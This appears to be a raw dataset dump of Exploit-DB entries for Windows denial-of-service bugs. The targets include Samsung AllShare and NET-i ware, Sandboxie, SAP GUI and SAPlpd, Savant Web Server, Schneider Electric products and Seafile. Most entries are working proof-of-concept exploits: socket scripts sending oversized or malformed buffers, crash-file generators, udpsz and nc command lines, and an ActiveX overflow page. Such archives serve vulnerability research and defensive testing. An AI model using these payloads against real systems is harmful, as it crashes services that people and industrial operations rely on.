deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19289
Description: Samsung AllShare 2.1.1.0 - Null Pointer Dereference
Type: dos
Platform: windows
Date: 2012-06-19
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Samsung AllShare
              http://www.samsung.com/global/allshare/pcsw/
Versions:     <= 2.1.1.0
Platforms:    Windows
Bug:          NULL pointer
Exploitation: remote
Date:         18 Jun 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"The AllShare software enables your PC to run many AllShare services.
It can share videos, photos, and music between your PC and other
devices that support the AllShare service by using your local network
for streaming playback."


#######################################################################

======
2) Bug
======


The DLNA server listening on port 9500 can be crashed remotely due to
a NULL pointer dereference caused by the failed allocation of a big
amount of memory specified in Content-Length and the tentative of
copying data in this NULL buffer.

If Content-Length is between[PII_REDACTED] and[PII_REDACTED] the effect will
be an unhandled exception in MSVCR90.calloc.

The vulnerability is located in the lupin3 (libpin3) library.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip

  udpsz -c "POST /DocumentViewer/Control/blah HTTP/1.1\r\nCONTENT-LENGTH:[PII_REDACTED]\r\n\r\n" -T SERVER 9500 -1
or
  udpsz -c "POST /DocumentViewer/Control/blah HTTP/1.1\r\nCONTENT-LENGTH:[PII_REDACTED]\r\n\r\n" -T SERVER 9500 -1



#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #18765
Description: Samsung NET-i ware 1.37 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2012-04-22
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Samsung NET-i ware
              http://www.samsungsecurity.com/product/product_view.asp?idx=6447
              http://www.samsungsecurity.com/product/product_view.asp?idx=5828
Versions:     <= 1.37
Platforms:    Windows
Bugs:         A] Endless loop in remote services
              B] Code execution in ConnectDDNS ActiveX
              C] Stack overflow in BackupToAvi ActiveX
Exploitation: remote
Date:         21 Apr 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


"Recording software for Samsung network cameras".


#######################################################################

=======
2) Bugs
=======


----------------------------------
A] Endless loop in remote services
----------------------------------

All the NET-i ware services are affected by an endless loop caused by
the wrong handling of negative 32bit size fields.


----------------------------------------
B] Code execution in ConnectDDNS ActiveX
----------------------------------------

Code execution vulnerability in the ConnectDDNS method used by the
following ActiveX components:
- EEDBA32E-5C2D-48f1-A58E-0AAB0BC230E3
- 17A7F731-C9EC-461C-B813-2F42A1BB58EB

  10022F80   8B02             MOV EAX,DWORD PTR DS:[EDX]
  10022F82   8B4D E8          MOV ECX,DWORD PTR SS:[EBP-18]
  10022F85   FF10             CALL DWORD PTR DS:[EAX]

The bug is not much reliable to replicate so I report it just for
reference.
No additional research performed.


----------------------------------------
C] Stack overflow in BackupToAvi ActiveX
----------------------------------------

Stack overflow in the BackupToAvi method used by the ActiveX components
3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A and
208650B1-3CA1-4406-926D-45F2DBB9C299.


#######################################################################

===========
3) The Code
===========


A]
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip

  NiwMasterService:
  udpsz -b 0x80 -T SERVER 4505 0x28

  NiwStorageService:
  udpsz -T -c "REM" 0 -C 80808080 0x10 SERVER 4508 0x14

B,C]
http://aluigi.org/poc/netiware_1b.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #42073
Description: Sandboxie 5.18 - Local Denial of Service
Type: dos
Platform: windows
Date: 2017-05-25
Author: ScrR1pTK1dd13

Exploit:
author = '''
   
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
   
# Exploit Title: Sandboxie version 5.18 local Dos Exploit
# Date: 2017.05.25
# Exploit Author: Greg Priest
# Version: Sandboxie version 5.18 ... Released on 13 April 2017
# Tested on: Windows7 x64 HUN/ENG Professional
'''

overflow = "A" * 5000

instruction = '''

<1> Copy printed "AAAAA..." string to clipboard!
<2> Sandboxie Control->Sandbox->Set Container Folder
<3> Paste the buffer in the input then press ok
'''

print author
print overflow
print instruction
Exploit-DB #46860
Description: Sandboxie 5.30 - 'Programs Alerts' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-17
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: Sandboxie 5.30 - Denial of Service (PoC)
# Date: 16/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.sandboxie.com
# Software https://www.sandboxie.com/SandboxieInstall.exe
# Version: 5.30
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'Sandboxie.py', it will create a new file 'Sandboxie.txt'
# 2.- Copy the text from the generated Sandboxie.txt file to clipboard
# 3.- Open Sandboxie Control
# 4.- Go to 'Configure' > 'Programs Alerts'
# 5.- Click 'Add Program', paste clipboard in the field 'Select or enter a program' and click 'OK'
# 6.- Click 'OK' and crashed

buffer = "\x41" * 5000

f = open ("Sandboxie.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #49844
Description: Sandboxie 5.49.7 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-05-07
Author: Erick Galindo

Exploit:
# Exploit Title: Sandboxie 5.49.7 - Denial of Service (PoC)
# Date: 06/05/2021
# Author: Erick Galindo 
# Vendor Homepage: https://sandboxie-plus.com/
# Software https://github.com/sandboxie-plus/Sandboxie/releases/download/0.7.4/Sandboxie-Classic-x64-v5.49.7.exe
# Version: 5.49.7
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Sandboxie Control->Sandbox->Set Container Folder
#3.- Paste the buffer in the input then press ok

buffer = "\x41" * 5000

f = open ("Sandboxie10.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #8899
Description: SAP GUI 6.4 - ActiveX (Accept) Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-06-08
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory      #DSECRG-09-015

Original Advisory:   http://dsecrg.com/pages/vul/show.php?id=115


Application:                    SAP GUI for Windows,  EnjoySAP
Versions Affected:              Version 6.4 
Vendor URL:                     http://SAP.com
Bugs:                           Buffer Overflow
Exploits:                       YES
Reported:                       13.11.2008
Vendor response:                17.11.2008
Date of Public Advisory:        08.06.2009
CVE-number:                     
Author:                         Alexander Polyakov
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

SAP GUI for Windows version 6.4 contains ActiveX component SAPIrRfc  which is vulnerable to Buffer overflow attack.    

file = sapirrfc.dll
GUID = F6908F83-ADA6-11D0-87AA-00AA00198702


Details
*******

Attacker can construct html page which will call vulnerable function "Accept" from ActiveX Object SAPIrRfc with long parameter.
When user open this vulnerable page it will occur DOS (Example 1) or full remote control on target system (Example2 execute calc.exe aviable by request) .



Example1:
*********


<html>
<object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' />
<script>

arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

target.Accept arg1 

</script>
</html>



Fix Information
***************
The issue has been solved. See SAP note 1286637.



References:
***********
SAP note 1286637

https://service.sap.com/sap/support/notes/1286637
http://dsecrg.com/pages/vul/show.php?id=115




About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsecrg [dot] com
                http://www.dsecrg.com

# milw0rm.com [2009-06-08]
Exploit-DB #20650
Description: Sapio WebReflex 1.55 - GET Denial of Service
Type: dos
Platform: windows
Date: 2001-02-27
Author: slipy

Exploit:
source: https://www.securityfocus.com/bid/2425/info

WebReflex is a software package designed to operate a HTTP server off a cdrom, providing web hosting on Microsoft Windows systems. It is written and maintained by Sapio Design Ltd.

A problem with the software could allow a denial of service to legitimate users. By issuing an excessively long HTTP GET request to the web server, the server becomes unstable and exits with a General Protection Fault. It may also be possible to execute arbitrary code, although this claim is unverified.

It is possible for a malicious remote user may take advantage of this vulnerability to deny service to legitimate users.

echo "GET " `perl -e 'print "A" x 666'` | telnet 192.168.0.20 80
Exploit-DB #41030
Description: SapLPD 7.40 - Denial of Service
Type: dos
Platform: windows
Date: 2016-12-28
Author: Peter Baris

Exploit:
# Exploit Title: SAPlpd 7.40 Denial of Service
# Date: 2016-12-28
# Exploit Author: Peter Baris
# Exploit code: http://saptech-erp.com.au/resources/saplpd_dos.zip
# Version: 7.40 all patch levels (as a part of SAPGui 7.40)  
# Tested on: Windows Server 2008 R2 x64, Windows 7 Pro x64


import socket

# Opcodes 03h and 04h are vulnerable to bad characters 00h and 0ah
# So you can modify the DoS accordingly
# The added 800 A's are just to show, that you can deliver a complete shell with the command

DoS = ("\x03"+"\x0a"+"\x41"*800)


s = socket.socket()
s.settimeout(1)
s.connect(('192.168.198.132', 515))
print("[*] Crashing SAPlpd 7.40")
print("[*] Payload length: "+str(len(DoS))+" bytes")
s.send(DoS)
s.close()
Exploit-DB #22945
Description: Savant Web Server 3.1 - Denial of Service
Type: dos
Platform: windows
Date: 2003-07-21
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/8243/info

Savant web server has been reported prone to multiple denial of service vulnerabilities.

Reportedly, a remote attacker may invoke many HTTP requests in succession, against the Savant web server and cause the service to fail. Additionally a remote attacker may make a HTTP request of excessive length. This will also reportedly cause the service to fail.

http://www.example.com/%-$%/'%/,%/)%//%0%%0!%/#%./%/!%20%,(%/#%/#%0!%/!%0&%//% 20%/*%/%%/)%/,%.-%/-%//%0%.txt
Exploit-DB #38079
Description: Savant Web Server 3.1 - Denial of-Service (PoC)
Type: dos
Platform: windows
Date: 2012-01-22
Author: DDD004

Exploit:
#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 260

  httpMethod = b"GET /"
  inputBuffer = b"\x41" * size
  httpEndRequest = b"\r\n\r\n"

  buf = httpMethod + inputBuffer +  httpEndRequest

  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()
  
  print("Done!")
  
except socket.error:
  print("Could not connect!")
Exploit-DB #21792
Description: Savant Web Server 3.1 - Malformed Content-Length Denial of Service
Type: dos
Platform: windows
Date: 2002-09-13
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5707/info

Savant Webserver is prone to a denial of service attack, when processing a negative integer located in a users Content-Length value.

It should be noted that versions below 3.1 may also be vulnerable to this issue. 

GET / HTTP/1.0
Content-Length: -1
Exploit-DB #23191
Description: Savant Web Server 3.1 - Page Redirect Denial of Service
Type: dos
Platform: windows
Date: 2003-09-26
Author: Phuong Nguyen

Exploit:
source: https://www.securityfocus.com/bid/8712/info

Savant Web Server is prone to a denial of service vulnerability. The server reportedly goes into an infinite loop upon receipt of a specially crafted HTTP GET request that causes the server to repeatedly redirect to the default page.

http://www.example.com/%x
Exploit-DB #7578
Description: SAWStudio 3.9i - '.prf' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-12-24
Author: Encrypt3d.M!nd

Exploit:
# SAWStudio 3.9i (prf file) Buffer overflow Poc
# By:Encrypt3d.M!nd
#
# Greetz:-=Mizo=-,L!0N,El Mariachi,MiNi SpIder,GGY,and all my friends
#####################################################################
#
# when you import Prefernces File "prf file" contain long characters
# an overflow will occure,and the registers will be just like this:
#
#
# EAX:41414141 ECX:00000000 EDX:00561498 EBX:00000000
# ESP:0012DA5C EBP:0012FAD0 ESI:00561498 EDI:00000000
# EIP:7C91B1FA ntdll.7C91B1FA
#
# Access violation when writing to[41414151]
#
# Tested on: Windows XP SP3
#####################################################################



l337 = ("\x53\x41\x57\x53\x54\x55\x44\x49\x4F\x20\x50\x52\x45\x46\x45\x52\x45\x4E\x43\x45\x53\x20\x53\x54\x52\x55\x43\x54\x20\x20\x20\x20\x20")

pl = "A"*10000

file=open('enc.prf','w+')
file.write(l337+pl)
file.close()

# milw0rm.com [2008-12-24]
Exploit-DB #51081
Description: Scdbg 1.0 - Buffer overflow DoS
Type: dos
Platform: windows
Date: 2023-03-27
Author: Rafael Pedrero

Exploit:
# Exploit Title: Scdbg 1.0 - Buffer overflow DoS
# Discovery by: Rafael Pedrero
# Discovery Date: 2021-06-13
# Vendor Homepage:  http://sandsprite.com/blogs/index.php?uid=7&pid=152
# Software Link : https://github.com/dzzie/VS_LIBEMU
# Tested Version: 1.0 - Compile date: Jun  3 2021 20:57:45
# Tested on:  Windows 7, 10

CVSS v3: 7.5
CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE: CWE-400

Vulnerability description: scdbg.exe (all versions) is affected by a Denial
of Service vulnerability that occurs when you use the /foff parameter or
not with a specific shellcode causing it to shutdown. Any malware could use
this option to evade the scan.

Proof of concept:

Save this script like scdbg_crash.py and execute it: scdbg.exe -foff 1 -f
scdbg_crash.bin / scdbg.exe -f scdbg_crash.bin

#!/usr/bin/env python

crash = "\x90\xF6\x84\x01\x90\x90\x90\x90"
f = open ("scdbg_crash.bin", "w")
f.write(crash)
f.close()

You can use gui_launcher.exe and check "Start offset 0x": 1 or directly
without check

[image: image.png]
Exploit-DB #24474
Description: Schneider Electric Accutech Manager - Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2013-02-10
Author: Evren Yalçın

Exploit:
#Schneider Electric
#Accutech Manager Server Heap Overflow PoC
#RFManagerService - Port: 2537
#I think this is the same vuln that ExodusIntel discovered. Credit also goes to Aaron Portnoy, ExodusIntel.
#The patch has not been released yet.
#Evren Yalcin, Signalsec Ltd. (www.signalsec.com)
#Download app:
#http://telemetry.schneider-electric.com/id2/media/downloads/software/scadarange/Accutech%20Manager%201.89.2.zip

import socket
import sys
 
host = "192.168.163.128"
 
port = 2537

buf = "\x41" * 400

req = ("GET /" + buf + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n")
 
print "  [+] Connecting to %s:%d" % (host, port)
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
 
s.send(req)
data = s.recv(1024)
s.close()

#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
#7c91142e 8b39            mov     edi,dword ptr [ecx]  ds:0023:41414141=????????
#----snip----
#text:0040DE91                 push    offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96                 call    nullsub_1
#.text:0040DE9B                 lea     eax, [ebp+cbTransfer]
#.text:0040DEA1                 push    eax             ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2                 push    esi             ; int
#.text:0040DEA3                 call    sub_40E006
#.text:0040DEA8                 add     esp, 0Ch
#----snip---
#call sub_40E006 function copies GET data to staticaly sized heap buffer.
Exploit-DB #44572
Description: Schneider Electric InduSoft Web Studio and InTouch Machine Edition - Denial of Service
Type: dos
Platform: windows
Date: 2018-05-02
Author: Tenable NS

Exploit:
What do you need to know? Tenable Research has discovered a critical remote code execution vulnerability in Schneider Electric’s InduSoft Web Studio and InTouch Machine Edition.    

What's the attack vector? The vulnerability can be remotely exploited without authentication to execute arbitrary commands on the target system.    

What's the business impact? A malicious threat actor can completely compromise and gain control of the system, and use it as a pivot point to execute lateral transfer.    

What's the solution? Schneider Electric has released InduSoft Web Studio v8.1 SP1 and InTouch Machine Edition 2017 v8.1 SP1 to address this vulnerability. Affected users should apply the patches ASAP.



The following is a proof of concept:

cat <(echo -ne '\x02\x57\x03\x02\x32'`python -c 'print "A"*0x500'`'\x09\x0a\x03') - | nc <target_host> 1234

More information: https://www.tenable.com/blog/tenable-research-advisory-critical-schneider-electric-indusoft-web-studio-and-intouch-machine
Exploit-DB #9133
Description: ScITE Editor 1.72 - Local Crash
Type: dos
Platform: windows
Date: 2009-07-13
Author: prodigy

Exploit:
#!/usr/bin/perl
#
#######################################################################
#
#                    ScITE Editor 1.72 crash vulnerability Exploit
#            
########################################################################
#
#		          Bug Founded by prodigy
#
########################################################################

# ###                                 PoC                           ### #

############################################################################################
my $owned="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;
open(myfile,'>>crash.rb');
print myfile $owned;
close(myfile);
############################################################################################

[!]Usage: when you created the file is open with SciTE, and move the scroll bars

############################################################################################

#Greetz: Greetz myself for find the bug, and all the people of undersecurity.net

##########################################################################################

# milw0rm.com [2009-07-13]
Exploit-DB #9033
Description: SCMPX 1.5.1 - '.m3u' Local Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-06-29
Author: hack4love

Exploit:
#!/usr/bin/perl
#
#
# ###############################################################################
# SCMPX 1.5.1 (.m3u File) Local Heap Overflow PoC
# ###############################################################################

# Found By :: HACK4LOVE

## Olly registers
#EAX 00A71FF8
#ECX 41414141 _____>>control over the register
#EDX 41414141
#EBX 00000180
#ESP 0012E758
#EBP 0012E778
#ESI 00000008
#EDI 00000017
#EIP 00465B25 SCMPX.00465B25
##################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.M3U');
print myfile $crash;
##################################################################################

# milw0rm.com [2009-06-29]
Exploit-DB #34729
Description: Seafile-server 3.1.5 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2014-09-20
Author: nop nop

Exploit:
# Exploit Title: ccnet-server remote DoS (assert) seafile-server <= 3.1.5 
# Date: Sep 4, 2014
# Exploit Author: retset
# Vendor Homepage: seafile.com
# Software Link: https://bitbucket.org/haiwen/seafile/downloads/seafile-server_3.1.4_win32.tar.gz
# Version: seafile-server 3.1.4
# Tested on: Windows 7/seafile-server 3.1.5

import socket
import sys


ip = sys.argv[1]
addr = (ip, 10001)
s = socket.create_connection(addr)

dos = '\x00\x04\x00\x00\x00\x00\x03\xe8'
dos += '\x00' * 1001 

s.send(dos)
print repr(s.recv(1024))


s.close()


#@retset